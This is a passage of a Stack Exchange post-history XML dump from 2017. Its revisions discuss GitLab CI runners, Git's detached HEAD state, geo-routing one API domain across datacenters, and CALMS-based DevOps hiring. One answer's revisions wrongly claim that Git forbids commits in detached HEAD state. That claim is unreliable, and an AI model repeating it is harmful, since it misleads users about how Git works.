  <row Id="7155" PostHistoryTypeId="1" PostId="2281" RevisionGUID="fa668f02-32e8-4d9d-85cc-cd365f3f894a" CreationDate="2017-10-10T09:19:01.520" UserId="2762" Text="Multiple runners for all projects OR single runner per project" ContentLicense="CC BY-SA 3.0" />
  <row Id="7156" PostHistoryTypeId="3" PostId="2281" RevisionGUID="fa668f02-32e8-4d9d-85cc-cd365f3f894a" CreationDate="2017-10-10T09:19:01.520" UserId="2762" Text="&lt;continuous-integration&gt;&lt;gitlab&gt;&lt;docker-in-docker&gt;" ContentLicense="CC BY-SA 3.0" />
  <row Id="7157" PostHistoryTypeId="5" PostId="2279" RevisionGUID="4bf06eef-5de8-45ab-bf0f-3338260ba708" CreationDate="2017-10-10T11:34:49.257" UserId="4678" Comment="deleted 36 characters in body" Text="Not the current working HEAD REFERENCE which points in our current branch." ContentLicense="CC BY-SA 3.0" />
  <row Id="7158" PostHistoryTypeId="2" PostId="2282" RevisionGUID="1b1a8dc8-1409-421c-8902-437b01b55853" CreationDate="2017-10-10T11:45:59.527" UserId="4678" Text="Hi i'm Vinodh(seeking for DevOps position)&#xD;&#xA;&#xD;&#xA;when i enter into git checkout 7y8u33ii(specific commit id), it going to detached mode where HEAD POINTER can't point recent commit.&#xD;&#xA;What are the things we can do and what is the use of going detached head state.&#xD;&#xA;&#xD;&#xA;Help Me&#xD;&#xA;Thanks" ContentLicense="CC BY-SA 3.0" />
  <row Id="7159" PostHistoryTypeId="1" PostId="2282" RevisionGUID="1b1a8dc8-1409-421c-8902-437b01b55853" CreationDate="2017-10-10T11:45:59.527" UserId="4678" Text="what is the exact use of DETACHED HEAD state in git?" ContentLicense="CC BY-SA 3.0" />
  <row Id="7160" PostHistoryTypeId="3" PostId="2282" RevisionGUID="1b1a8dc8-1409-421c-8902-437b01b55853" CreationDate="2017-10-10T11:45:59.527" UserId="4678" Text="&lt;git&gt;" ContentLicense="CC BY-SA 3.0" />
  <row Id="7161" PostHistoryTypeId="2" PostId="2283" RevisionGUID="e6d65704-cf64-4859-b83c-688f50a39e08" CreationDate="2017-10-10T12:13:06.973" UserId="4686" Text="The data of each customer does only exist in one of several global datacenters, that all answer to the same hostname (ex. api.company.com)&#xD;&#xA;&#xD;&#xA;**Only a single domain for all customers globally**&lt;br/&gt;&#xD;&#xA;I want to make sure that all global customers only have to use a single domain: api.company.com to access their data, and not something like api-region3.company.com, but it may not be possible.&#xD;&#xA;&#xD;&#xA;**GEO Location DNS may go to wrong datacenter**&lt;br/&gt;&#xD;&#xA;I cannot use geo-location DNS directly, because that would mean that someone might end up accessing a datacenter that does not contain the data for that customer. &#xD;&#xA;&#xD;&#xA;**Possible solution**&lt;br/&gt;&#xD;&#xA;I could use a proxy at each of the datacenters to relay the request to the correct datacenter, based on some information in the request, but I'm not sure if there's some better established industry standard way of doing this, without duplicating the data across all datacenters. In case his is the best option, what is some tried-and-tested options for actually setting this up?&#xD;&#xA;&#xD;&#xA;" ContentLicense="CC BY-SA 3.0" />
  <row Id="7162" PostHistoryTypeId="1" PostId="2283" RevisionGUID="e6d65704-cf64-4859-b83c-688f50a39e08" CreationDate="2017-10-10T12:13:06.973" UserId="4686" Text="How to route to specific, of multiple datacenters, with a single domain" ContentLicense="CC BY-SA 3.0" />
  <row Id="7163" PostHistoryTypeId="3" PostId="2283" RevisionGUID="e6d65704-cf64-4859-b83c-688f50a39e08" CreationDate="2017-10-10T12:13:06.973" UserId="4686" Text="&lt;amazon-web-services&gt;&lt;distributed-systems&gt;" ContentLicense="CC BY-SA 3.0" />
  <row Id="7164" PostHistoryTypeId="2" PostId="2284" RevisionGUID="f57deb5b-cce8-4522-9f23-11463b471aed" CreationDate="2017-10-10T12:18:15.883" UserId="3936" Text="The &quot;normal&quot; way of working with GIT is by checking out branches. HEAD is the latest commit in that branch, and GIT allows you to commit new changes after that pointer. &#xD;&#xA;&#xD;&#xA;However, as you figured out, it is possible to check out a certain commit hash, in which case GIT will put the files from that hash in your local working directory, but you will not be at the HEAD commit for that branch. &#xD;&#xA;&#xD;&#xA;In this situation, if you make changes and try to commit them, you will be unable to do so, since those changes will not essentially be part of any branch. &#xD;&#xA;&#xD;&#xA;Most of the time, detached HEAD (checking out an older commit) is used if you want to test how your project ran at a certain point in time. &#xD;&#xA;&#xD;&#xA;I see that you are new here - If this helps answer your question, I would appreciate it if you could mark it as the accepted answer." ContentLicense="CC BY-SA 3.0" />
  <row Id="7165" PostHistoryTypeId="2" PostId="2285" RevisionGUID="9a5e7507-e715-46cb-b68d-cdb67e745983" CreationDate="2017-10-10T12:21:43.407" UserId="503" Text="If your API is authenticated and you're not going to replicate any of the data and you're using AWS then I'd use lambda@edge to do what you need.&#xD;&#xA;&#xD;&#xA;You can use GEO-DNS to route to a lambda function which handles authentication. This lambda function can also hold a record of where users need to go and issue a redirect to the correct endpoint.&#xD;&#xA;&#xD;&#xA;This does mean that you'll still need domains like `api-region3.company.com` but it will allow `api.company.com` to perform the task of being universal. It's down to the client application then to hold on to that URL? At least using redirects instead of proxies should help with network traffic." ContentLicense="CC BY-SA 3.0" />
  <row Id="7166" PostHistoryTypeId="5" PostId="2284" RevisionGUID="eba5d200-bd28-4b85-af7e-8fd0793832ab" CreationDate="2017-10-10T12:32:13.843" UserId="3936" Comment="deleted 230 characters in body" Text="The &quot;normal&quot; way of working with GIT is by checking out branches. HEAD is a &quot;pointer&quot; to the latest commit in that branch, and GIT will allow you to commit new changes after that pointer.&#xD;&#xA;&#xD;&#xA;However, as you figured out, it is possible to check out a specific commit hash, if you want to. In this situation, if you make changes and try to commit them, you will be unable to do so, since you are not at HEAD, and GIT will not allow you to commit your changes. &#xD;&#xA;&#xD;&#xA;Most of the time, detached HEAD (checking out an older commit) is used if you want to test how your project ran at a certain point in time. &#xD;&#xA;" ContentLicense="CC BY-SA 3.0" />
  <row Id="7167" PostHistoryTypeId="5" PostId="2282" RevisionGUID="a73ce343-953a-4ced-b898-a6c561b5e0a9" CreationDate="2017-10-10T12:34:28.380" UserId="13" Comment="Removed fluff around the question" Text="When i enter into git checkout 7y8u33ii(specific commit id), it going to detached mode where HEAD POINTER can't point recent commit.  &#xD;&#xA;What are the things we can do and what is the use of going detached head state?" ContentLicense="CC BY-SA 3.0" />
  <row Id="7168" PostHistoryTypeId="5" PostId="2284" RevisionGUID="228df0a4-418a-440e-bb3b-5669ebaa695d" CreationDate="2017-10-10T12:40:20.627" UserId="3936" Comment="added more info on branching" Text="The &quot;normal&quot; way of working with GIT is by checking out branches. HEAD is a &quot;pointer&quot; to the latest commit in that branch, and GIT will allow you to commit new changes after that pointer.&#xD;&#xA;&#xD;&#xA;However, as you figured out, it is possible to check out a specific commit hash, if you want to. In this situation, if you make changes and try to commit them, you will be unable to do so, since you are not at HEAD, and GIT will not allow you to commit your changes. &#xD;&#xA;&#xD;&#xA;Most of the time, detached HEAD (checking out an older commit) is used if you want to test how your project ran at a certain point in time. &#xD;&#xA;&#xD;&#xA;If you need to make changes to the code or need to build it using Jenkins MultiBranch Pipelines, for example, it is also possible to create a new branch from that specific commit by running:&#xD;&#xA;&#xD;&#xA;`git branch my_new_fancy_branch 7y8u33ii`&#xD;&#xA;&#xD;&#xA;or&#xD;&#xA;&#xD;&#xA;`git checkout -b my_new_fancy_branch 7y8u33ii`&#xD;&#xA;&#xD;&#xA;... where `7y8u33ii` is the hash you provided in the question. For this new branch, `7y8u33ii` will be HEAD, so you will be able to commit new changes. If you need to get your code into the branch from which you created this new branch from, you will need to do a merge, but this is another discussion altogether.  &#xD;&#xA;&#xD;&#xA;If this answer helps you, I would appreciate it if you could please mark it as the accepted answer." ContentLicense="CC BY-SA 3.0" />
  <row Id="7169" PostHistoryTypeId="5" PostId="2285" RevisionGUID="0e80df1b-d296-471e-8d49-6c60917a6834" CreationDate="2017-10-10T13:21:03.120" UserId="503" Comment="Explained why my described method would work better than their workaround" Text="Proxying is gonna cause you some issues when someone takes a trip to China and tries to access data in the USA, depending on what your app does they could cause you some $$$ issues when your Chinese POP is sending/receiving all of their traffic each way.&#xD;&#xA;&#xD;&#xA;Instead I suggest:&#xD;&#xA;&#xD;&#xA;If your API is authenticated and you're not going to replicate any of the data and you're using AWS then I'd use lambda@edge to do what you need.&#xD;&#xA;&#xD;&#xA;You can use GEO-DNS to route to a lambda function which handles authentication. This lambda function can also hold a record of where users need to go and issue a redirect to the correct endpoint.&#xD;&#xA;&#xD;&#xA;This does mean that you'll still need domains like `api-region3.company.com` but it will allow `api.company.com` to perform the task of being universal. It's down to the client application then to hold on to that URL? At least using redirects instead of proxies should help with network traffic." ContentLicense="CC BY-SA 3.0" />
  <row Id="7170" PostHistoryTypeId="5" PostId="2281" RevisionGUID="c75499be-fa02-446b-beae-ed3fba76cbb2" CreationDate="2017-10-10T13:35:06.297" UserId="2762" Comment="added htop" Text="**What do we have:**  &#xD;&#xA;We have a Gitlab EE with multiple projects running on a droplet, next to that we have a runner server for the CI runners. All projects are Docker projects and 4 runners can be busy at the same time.&#xD;&#xA;&#xD;&#xA;**What we need to know:**  &#xD;&#xA;Now is my question, is it better to have like 4 runners on the runner server for all the projects OR is it better to have 1 runner per project?&#xD;&#xA;&#xD;&#xA;I know when the CI gets stuck, the runner will be stuck too and it will mean that it is missing 1 runner till it gets reset. So at that point single runner per projects seems better, but it will make a large list of runners which perhaps use some idling resources from the server ?  &#xD;&#xA;  &#xD;&#xA;*See here nothing is running or doing work:*&#xD;&#xA;[![enter image description here][1]][1]&#xD;&#xA;&#xD;&#xA;Anybody can tell me what is better in your opinion and why it is better in your opinion as both ways seem legit in my opinion and i want to know others experience.&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: https://i.stack.imgur.com/psRCa.png" ContentLicense="CC BY-SA 3.0" />
  <row Id="7171" PostHistoryTypeId="2" PostId="2286" RevisionGUID="ba2f9794-06a3-4d48-8500-a3496d974232" CreationDate="2017-10-10T13:48:22.937" UserId="2762" Text="After some research i found out that shared runners are good for the projects that are very much the same, and specific runners are better for the projects that are not like any project. &#xD;&#xA;&#xD;&#xA;Shared runners can eat all resources available in the end with its queue's which makes specific runners more interesting.&#xD;&#xA;&#xD;&#xA;My choice now is more like a little bit of both, so shared for all small and likewise projects, and specific for the large new projects as the documentation recommends.&#xD;&#xA;&#xD;&#xA;Documentation about this can be [found here][1].&#xD;&#xA;&#xD;&#xA;Still i would like to know everyone's mindset about this, as im still interested about your way of doing it!&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: https://docs.gitlab.com/ee/ci/runners/README.html" ContentLicense="CC BY-SA 3.0" />
  <row Id="7172" PostHistoryTypeId="5" PostId="2286" RevisionGUID="f232e995-23bf-48a8-8023-b098f93a5c00" CreationDate="2017-10-10T13:56:27.410" UserId="47" Comment="added doc quote" Text="After some research i found out that shared runners are good for the projects that are very much the same, and specific runners are better for the projects that are not like any project. &#xD;&#xA;&#xD;&#xA;Shared runners can eat all resources available in the end with its queue's which makes specific runners more interesting.&#xD;&#xA;&#xD;&#xA;My choice now is more like a little bit of both, so shared for all small and likewise projects, and specific for the large new projects as the documentation recommends.&#xD;&#xA;&#xD;&#xA;From [Shared vs specific Runners][1]:&#xD;&#xA;&#xD;&#xA;&gt; ... The main differences between a shared and a specific Runner are:&#xD;&#xA;&gt; &#xD;&#xA;&gt; - **Shared Runners** are useful for jobs that have similar requirements, between multiple projects. Rather than having multiple&#xD;&#xA;&gt; Runners idling for many projects, you can have a single or a small&#xD;&#xA;&gt; number of Runners that handle multiple projects. This makes it easier&#xD;&#xA;&gt; to maintain and update them. Shared Runners process jobs using a [fair&#xD;&#xA;&gt; usage queue][2]. In contrast to specific Runners that use a FIFO&#xD;&#xA;&gt; queue, this prevents cases where projects create hundreds of jobs&#xD;&#xA;&gt; which can lead to eating all available shared Runners resources.&#xD;&#xA;&gt; - **Specific Runners** are useful for jobs that have special requirements or for projects with a specific demand. If a job has&#xD;&#xA;&gt; certain requirements, you can set up the specific Runner with this in&#xD;&#xA;&gt; mind, while not having to do this for all Runners. For example, if you&#xD;&#xA;&gt; want to deploy a certain project, you can setup a specific Runner to&#xD;&#xA;&gt; have the right credentials for this. The [usage of tags][3] may be&#xD;&#xA;&gt; useful in this case. Specific Runners process jobs using a [FIFO][4]&#xD;&#xA;&gt; queue.&#xD;&#xA;&gt; &#xD;&#xA;&gt; A Runner that is specific only runs for the specified project(s). A&#xD;&#xA;&gt; shared Runner can run jobs for every project that has enabled the&#xD;&#xA;&gt; option **Allow shared Runners** under **Settings ➔ CI/CD**.&#xD;&#xA;&gt; &#xD;&#xA;&gt; Projects with high demand of CI activity can also benefit from using&#xD;&#xA;&gt; specific Runners. By having dedicated Runners you are guaranteed that&#xD;&#xA;&gt; the Runner is not being held up by another project's jobs.&#xD;&#xA;&gt; &#xD;&#xA;&gt; You can set up a specific Runner to be used by multiple projects. The&#xD;&#xA;&gt; difference with a shared Runner is that you have to enable each&#xD;&#xA;&gt; project explicitly for the Runner to be able to run its jobs.&#xD;&#xA;&gt; &#xD;&#xA;&gt; Specific Runners do not get shared with forked projects automatically.&#xD;&#xA;&gt; A fork does copy the CI settings (jobs, allow shared, etc) of the&#xD;&#xA;&gt; cloned repository.&#xD;&#xA;&#xD;&#xA;Still i would like to know everyone's mindset about this, as im still interested about your way of doing it!&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: https://docs.gitlab.com/ee/ci/runners/README.html&#xD;&#xA;  [2]: https://docs.gitlab.com/ee/ci/runners/README.html#how-shared-runners-pick-jobs&#xD;&#xA;  [3]: https://docs.gitlab.com/ee/ci/runners/README.html#using-tags&#xD;&#xA;  [4]: https://en.wikipedia.org/wiki/FIFO_(computing_and_electronics)" ContentLicense="CC BY-SA 3.0" />
  <row Id="7173" PostHistoryTypeId="2" PostId="2287" RevisionGUID="626b81a7-c260-4b42-8d35-2350fcd038e0" CreationDate="2017-10-10T14:34:06.200" UserId="707" Text="Much of DevOps recruitement happens to follow along the lines of keyword matching, which leads in my opinion to solely technology focus.&#xD;&#xA;&#xD;&#xA;Now, DevOps is about so much more than just technology, and DevOps Engineer not just a better system administrator with some coding skills.&#xD;&#xA;&#xD;&#xA;**Senior DevOps profile means to me also offering seniority in many other foundations and practices beyond infrastructure and software engineering skills** like Lean, Measurement and being open and communicative (who asks DevOps hires for their communication skills, honestly?!)&#xD;&#xA;&#xD;&#xA;So, can be a job ad / an interview more efficient in some way - for example, buy appying CALMS categories? - Leading to questions like &quot;now, how do you apply lean principles? How were culural aspects addressed in your recent DevOps projects?&quot; &#xD;&#xA;&#xD;&#xA;Side note - so Culture for example is no more a soft skill, for DevOps it is one of the core skills - like all the others in this domain." ContentLicense="CC BY-SA 3.0" />
  <row Id="7174" PostHistoryTypeId="1" PostId="2287" RevisionGUID="626b81a7-c260-4b42-8d35-2350fcd038e0" CreationDate="2017-10-10T14:34:06.200" UserId="707" Text="DevOps hiring process optimization?" ContentLicense="CC BY-SA 3.0" />
  <row Id="7175" PostHistoryTypeId="3" PostId="2287" RevisionGUID="626b81a7-c260-4b42-8d35-2350fcd038e0" CreationDate="2017-10-10T14:34:06.200" UserId="707" Text="&lt;culture&gt;" ContentLicense="CC BY-SA 3.0" />
  <row Id="7176" PostHistoryTypeId="4" PostId="2287" RevisionGUID="296ef363-f08e-49bf-9de3-3520aa0f6d3c" CreationDate="2017-10-10T14:44:15.723" UserId="707" Comment="edited title" Text="Ways to the DevOps hiring process optimization?" ContentLicense="CC BY-SA 3.0" />
  <row Id="7177" PostHistoryTypeId="5" PostId="2287" RevisionGUID="296ef363-f08e-49bf-9de3-3520aa0f6d3c" CreationDate="2017-10-10T14:44:15.723" UserId="707" Comment="edited title" Text="Much of DevOps recruitement happens to follow along the lines of keyword matching, which leads in my opinion to solely technology focus.&#xD;&#xA;&#xD;&#xA;Now, DevOps is about so much more than just technology, and DevOps Engineer not just a better system administrator with some coding skills.&#xD;&#xA;&#xD;&#xA;**Senior DevOps role/profile means to me also offering seniority in many other foundations and practices beyond infrastructure and software engineering skills** like Lean, Measurement and being open and communicative (who asks DevOps hires for their communication skills, honestly?!)&#xD;&#xA;&#xD;&#xA;So, can be a job ad / an interview more efficient in some way - for example, buy appying for example questioning CALMS categories as well? - Leading to questions like &quot;now, how do you apply lean principles? How were culural aspects addressed in your recent DevOps projects?&quot; &#xD;&#xA;&#xD;&#xA;Further elaboration:&#xD;&#xA;&#xD;&#xA; - Culture (e.g. strategies for conflict management and attitude to failures, own and others')&#xD;&#xA; - Automation (here you ask about Puppet/Docker etc skills)&#xD;&#xA; - Lean (foundations of Lean? Waste types?)&#xD;&#xA; - Measurement (ask for tools like JMeter but go also to things like sampling, data modeling..)&#xD;&#xA; - Sharing (obviously knowledge management and according tools)&#xD;&#xA;&#xD;&#xA;Side note - so Culture for example is actually no more a soft skill, for DevOps it is one of the core skills - like all the others in this domain." ContentLicense="CC BY-SA 3.0" />
  <row Id="7178" PostHistoryTypeId="4" PostId="2279" RevisionGUID="da8c8738-535a-4629-8aca-11994de40c0d" CreationDate="2017-10-10T15:04:54.103" UserId="14" Comment="edited title" Text="How can I see HEAD temp pointer reference in Git?" ContentLicense="CC BY-SA 3.0" />
  <row Id="7179" PostHistoryTypeId="5" PostId="2282" RevisionGUID="ae732ce1-9166-4be5-a959-4a783f3cf769" CreationDate="2017-10-10T15:06:36.853" UserId="14" Comment="added 7 characters in body; edited title" Text="When I enter into `git checkout 7y8u33ii` (specific commit id), it goes to detached mode where HEAD POINTER can't point at a recent commit.  &#xD;&#xA;What are the things we can do and what is the use of going detached head state?" ContentLicense="CC BY-SA 3.0" />
  <row Id="7180" PostHistoryTypeId="4" PostId="2282" RevisionGUID="ae732ce1-9166-4be5-a959-4a783f3cf769" CreationDate="2017-10-10T15:06:36.853" UserId="14" Comment="added 7 characters in body; edited title" Text="What is the exact use of detached HEAD state in Git?" ContentLicense="CC BY-SA 3.0" />
  <row Id="7181" PostHistoryTypeId="5" PostId="2287" RevisionGUID="7c080bf3-88dd-4beb-b6da-f5156738f32c" CreationDate="2017-10-10T15:34:47.140" UserId="47" Comment="improved readability" Text="Much of DevOps recruitement happens to follow along the lines of keyword matching, which leads in my opinion to solely technology focus.&#xD;&#xA;&#xD;&#xA;Now, DevOps is about so much more than just technology, and DevOps Engineer is not just a better system administrator with some coding skills.&#xD;&#xA;&#xD;&#xA;**Senior DevOps role/profile means to me also offering seniority in many other foundations and practices beyond infrastructure and software engineering skills** like Lean, Measurement and being open and communicative (who asks DevOps hires for their communication skills, honestly?!)&#xD;&#xA;&#xD;&#xA;So, can a job ad / interview be more efficient in some way - for example, by appying questioning [CALMS][1] categories as well? - Leading to questions like &quot;now, how do you apply lean principles? How were cultural aspects addressed in your recent DevOps projects?&quot; &#xD;&#xA;&#xD;&#xA;Further elaboration:&#xD;&#xA;&#xD;&#xA; - **C**ulture (e.g. strategies for conflict management and attitude to failures, own and others')&#xD;&#xA; - **A**utomation (here you ask about Puppet/Docker etc skills)&#xD;&#xA; - **L**ean (foundations of Lean? Waste types?)&#xD;&#xA; - **M**easurement (ask for tools like JMeter but go also to things like sampling, data modeling..)&#xD;&#xA; - **S**haring (obviously knowledge management and according tools)&#xD;&#xA;&#xD;&#xA;Side note - so Culture for example is actually not just a soft skill anymore, for DevOps it is one of the core skills - like all the others in this domain.&#xD;&#xA;&#xD;&#xA;  [1]: http://whatis.techtarget.com/definition/CALMS" ContentLicense="CC BY-SA 3.0" />
  <row Id="7183" PostHistoryTypeId="2" PostId="2288" RevisionGUID="a1b6f6ad-4da3-4570-935b-74c1b0d0867c" CreationDate="2017-10-10T22:18:53.093" UserId="3616" Text="I believe that this depends from organisation to organisation and what a DevOps / Senior DevOps is expected to do. &#xD;&#xA;&#xD;&#xA;In my opinion a DevOps should have strong SysAdmin skills and obviously coding skills as Puppet, Chef, Python, Bash will be used extensively as well as some knowledge of the code that goes on the servers at least to be able to do minor debugging on why the application doesn't behave as expected from one environment to the other.&#xD;&#xA;&#xD;&#xA;Now, as a Senior DevOps, CALM may be applied however, the Lean and Measurement principles might / might not apply. For example we are developing applications using Chef / Puppet / Ansible to automate the mundane things and keep everything in sync which obviously saves time and produces less *waste*.  &#xD;&#xA;&#xD;&#xA;Regarding measurement, I am not sure if that's applicable in most of the cases. However, the other CALM principles are part of a DevOps position.&#xD;&#xA;&#xD;&#xA;Having good communication skills is also important as a DevOps, but more important as a Senior DevOps because you will have to not only deal with your team and share knowledge and with the developers as you are there to support them, but also you might have to create reports and keep presentations in front of the management.  " ContentLicense="CC BY-SA 3.0" />
  <row Id="7184" PostHistoryTypeId="5" PostId="2287" RevisionGUID="85b28f8a-f89a-4100-a5ba-fe20c8ba6158" CreationDate="2017-10-11T01:00:04.057" UserId="739" Comment="spelling and linkifying culture" Text="Much of DevOps recruitement happens to follow along the lines of keyword matching, which leads in my opinion to solely technology focus.&#xD;&#xA;&#xD;&#xA;Now, DevOps is about so much more than just technology, and DevOps Engineer is not just a better system administrator with some coding skills.&#xD;&#xA;&#xD;&#xA;**Senior DevOps role/profile means to me also offering seniority in many other foundations and practices beyond infrastructure and software engineering skills** like Lean, Measurement and being open and communicative (who asks DevOps hires for their communication skills, honestly?!)&#xD;&#xA;&#xD;&#xA;So, can a job ad / interview be more efficient in some way - for example, by applying questioning [CALMS][1] categories as well? - Leading to questions like &quot;now, how do you apply lean principles? How were cultural aspects addressed in your recent DevOps projects?&quot; &#xD;&#xA;&#xD;&#xA;Further elaboration:&#xD;&#xA;&#xD;&#xA; - **C**ulture (e.g. strategies for conflict management and attitude to failures, own and others')&#xD;&#xA; - **A**utomation (here you ask about Puppet/Docker etc skills)&#xD;&#xA; - **L**ean (foundations of Lean? Waste types?)&#xD;&#xA; - **M**easurement (ask for tools like JMeter but go also to things like sampling, data modeling..)&#xD;&#xA; - **S**haring (obviously knowledge management and according tools)&#xD;&#xA;&#xD;&#xA;Side note - so [tag:Culture] for example is actually not just a soft skill anymore, for DevOps it is one of the core skills - like all the others in this domain.&#xD;&#xA;&#xD;&#xA;  [1]: http://whatis.techtarget.com/definition/CALMS" ContentLicense="CC BY-SA 3.0" />
  <row Id="7185" PostHistoryTypeId="24" PostId="2287" RevisionGUID="85b28f8a-f89a-4100-a5ba-fe20c8ba6158" CreationDate="2017-10-11T01:00:04.057" Comment="Proposed by 739 approved by 707 edit id of 482" ContentLicense="CC BY-SA 3.0" />
  <row Id="7186" PostHistoryTypeId="5" PostId="2287" RevisionGUID="53174c33-2d45-41b0-9079-e30860aacf73" CreationDate="2017-10-11T02:22:23.753" UserId="707" Comment="added 286 characters in body" Text="Much of DevOps recruitement happens to follow along the lines of keyword matching, which leads in my opinion to solely technology focus.&#xD;&#xA;&#xD;&#xA;Now, DevOps is about so much more than just technology, and DevOps Engineer is not just a better system administrator with some coding skills.&#xD;&#xA;&#xD;&#xA;**Senior DevOps role/profile means to me also offering seniority in many other foundations and practices beyond infrastructure and software engineering skills** like Lean, Measurement and being open and communicative (who asks DevOps hires for their communication skills, honestly?!)&#xD;&#xA;&#xD;&#xA;So, can a job ad / interview be more efficient in some way - for example, by applying questioning [CALMS][1] categories as well? - Leading to questions like &quot;now, how do you apply lean principles? How were cultural aspects addressed in your recent DevOps projects?&quot; &#xD;&#xA;&#xD;&#xA;Further elaboration:&#xD;&#xA;&#xD;&#xA; - **C**ulture (e.g. strategies for conflict management and attitude to failures, own and others')&#xD;&#xA; - **A**utomation (here you ask about Puppet/Docker etc skills)&#xD;&#xA; - **L**ean (foundations of Lean? Waste types?)&#xD;&#xA; - **M**easurement (ask for tools like JMeter but go also to things like sampling, data modeling..)&#xD;&#xA; - **S**haring (obviously knowledge management and according tools)&#xD;&#xA;&#xD;&#xA;UPDATE - so why wouldn't employers/recruiters structure the interview by CALMS as shown below (additionally, the &quot;automation&quot; section could be formulated along the DevOps [tag:toolchain] model?&#xD;&#xA;&#xD;&#xA;[![enter image description here][2]][2]&#xD;&#xA;&#xD;&#xA;Side note - so [tag:Culture] for example is actually not just a soft skill anymore, for DevOps it is one of the core skills - like all the others in this domain.&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: http://whatis.techtarget.com/definition/CALMS&#xD;&#xA;  [2]: https://i.stack.imgur.com/d6SAf.png" ContentLicense="CC BY-SA 3.0" />
  <row Id="7187" PostHistoryTypeId="4" PostId="2287" RevisionGUID="53174c33-2d45-41b0-9079-e30860aacf73" CreationDate="2017-10-11T02:22:23.753" UserId="707" Comment="added 286 characters in body" Text="Ways to the DevOps hiring process optimization through CALMS paradigma?" ContentLicense="CC BY-SA 3.0" />
  <row Id="7188" PostHistoryTypeId="2" PostId="2289" RevisionGUID="305541d0-84ec-45ec-8cd6-4c5a2107bdff" CreationDate="2017-10-11T04:33:01.403" UserId="228" Text="This is a brilliant idea, also because Daniel Kahneman [showed][1] that if you split a single score into 5 weighed scores and add numerical criteria and bounds to those, you will significantly [reduce bias][2]. You could design not just the resume scoring, but the entire hiring process, with phone screens, onsite interviews, everything in this way. It would significantly reduce the inherent bias of the interviewers. We have actually started to do something similar for all hiring.&#xD;&#xA;&#xD;&#xA;For a DevOps hire, I would suggest replacing the Lean with Learning. It is originally [CAMS][3] and even though some extend it to CALMS to include Lean, that is somewhat restricting as DevOps is based on so much more than just Lean. It is also [Deming][4]'s ideas about Special and Common Cause Variation and System Thinking, [Nash's Equilibrium][5] (if each optimizes for themselves, the result could be suboptimal, compared to when everyone includes the interest of the group), Shewhart's [Statistical Process Control][6], Goldratt's [Theory of Constraints][7], Taleb's [Anti-Fragility][8] and so many more. &#xD;&#xA;&#xD;&#xA;This would also allow you to include participation in conferences in Learning and presentations at conferences or meetups as Sharing. In a position where you are not always a part of a team or your company might not be big enough to have your peers as your co-workers, it is even so much more important to establish and maintain out of workplace relationships and learning opportunities. We generally grouped those two under Culture.&#xD;&#xA;&#xD;&#xA;I would personally put under Culture the soft skills required to be effective in improving processes at your organization. [CMMI][9], [Kanban][10], [Work in Progress limits][11], Agile practices, etc.&#xD;&#xA;&#xD;&#xA;JIRA seems more like Sharing tool and Git is more closely related to Automation.&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: https://en.wikipedia.org/wiki/Thinking,_Fast_and_Slow&#xD;&#xA;  [2]: https://hbr.org/2015/05/outsmart-your-own-biases&#xD;&#xA;  [3]: https://itrevolution.com/devops-culture-part-1/&#xD;&#xA;  [4]: https://en.wikipedia.org/wiki/W._Edwards_Deming&#xD;&#xA;  [5]: https://en.wikipedia.org/wiki/Nash_equilibrium&#xD;&#xA;  [6]: https://en.wikipedia.org/wiki/Statistical_process_control&#xD;&#xA;  [7]: https://en.wikipedia.org/wiki/Theory_of_constraints&#xD;&#xA;  [8]: https://en.wikipedia.org/wiki/Nassim_Nicholas_Taleb#Philosophical_theories&#xD;&#xA;  [9]: https://en.wikipedia.org/wiki/Capability_Maturity_Model_Integration&#xD;&#xA;  [10]: https://en.wikipedia.org/wiki/Kanban&#xD;&#xA;  [11]: https://www.youtube.com/watch?v=kpuJSpp3hhA" ContentLicense="CC BY-SA 3.0" />
  <row Id="7189" PostHistoryTypeId="5" PostId="2289" RevisionGUID="1ef1cef9-879d-4371-aee4-1ffd83a18d00" CreationDate="2017-10-11T04:39:49.007" UserId="228" Comment="added 477 characters in body" Text="This is a brilliant idea, also because of Daniel Kahneman who [showed][1] that if you split a single score into 5 weighed scores and add numerical criteria and bounds to those, you will significantly [reduce bias][2]. You could design not just the resume scoring, but the entire hiring process, with phone screens, onsite interviews, everything in this way. It would significantly reduce the inherent bias of the interviewers. We have actually started to do something similar for all hiring.&#xD;&#xA;&#xD;&#xA;Obviously, inside each area, your should add weight to what is important to the company for the position, but you are hiring a well-rounded engineer and you want someone who will propose major changes to how your organization operates, you are not simply hiring someone for specific skills to work in a limited area. Many people simply see this role as a higher paid Release and Build Engineer and if that is the case, that is what you should hire and advertise for.&#xD;&#xA;&#xD;&#xA;For a DevOps hire, I would suggest replacing the Lean with Learning. It is originally [CAMS][3] and even though some extend it to CALMS to include Lean, that is somewhat restricting as DevOps is based on so much more than just Lean. It is also [Deming][4]'s ideas about Special and Common Cause Variation and System Thinking, [Nash's Equilibrium][5] (if each optimizes for themselves, the result could be suboptimal, compared to when everyone includes the interest of the group), Shewhart's [Statistical Process Control][6], Goldratt's [Theory of Constraints][7], Taleb's [Anti-Fragility][8] and so many more. &#xD;&#xA;&#xD;&#xA;This would also allow you to include participation in conferences in Learning and presentations at conferences or meetups as Sharing. In a position where you are not always a part of a team or your company might not be big enough to have your peers as your co-workers, it is even so much more important to establish and maintain out of workplace relationships and learning opportunities. We generally grouped those two under Culture.&#xD;&#xA;&#xD;&#xA;I would personally put under Culture the soft skills required to be effective in improving processes at your organization. [CMMI][9], [Kanban][10], [Work in Progress limits][11], Agile practices, etc.&#xD;&#xA;&#xD;&#xA;JIRA seems more like Sharing tool and Git is more closely related to Automation.&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: https://en.wikipedia.org/wiki/Thinking,_Fast_and_Slow&#xD;&#xA;  [2]: https://hbr.org/2015/05/outsmart-your-own-biases&#xD;&#xA;  [3]: https://itrevolution.com/devops-culture-part-1/&#xD;&#xA;  [4]: https://en.wikipedia.org/wiki/W._Edwards_Deming&#xD;&#xA;  [5]: https://en.wikipedia.org/wiki/Nash_equilibrium&#xD;&#xA;  [6]: https://en.wikipedia.org/wiki/Statistical_process_control&#xD;&#xA;  [7]: https://en.wikipedia.org/wiki/Theory_of_constraints&#xD;&#xA;  [8]: https://en.wikipedia.org/wiki/Nassim_Nicholas_Taleb#Philosophical_theories&#xD;&#xA;  [9]: https://en.wikipedia.org/wiki/Capability_Maturity_Model_Integration&#xD;&#xA;  [10]: 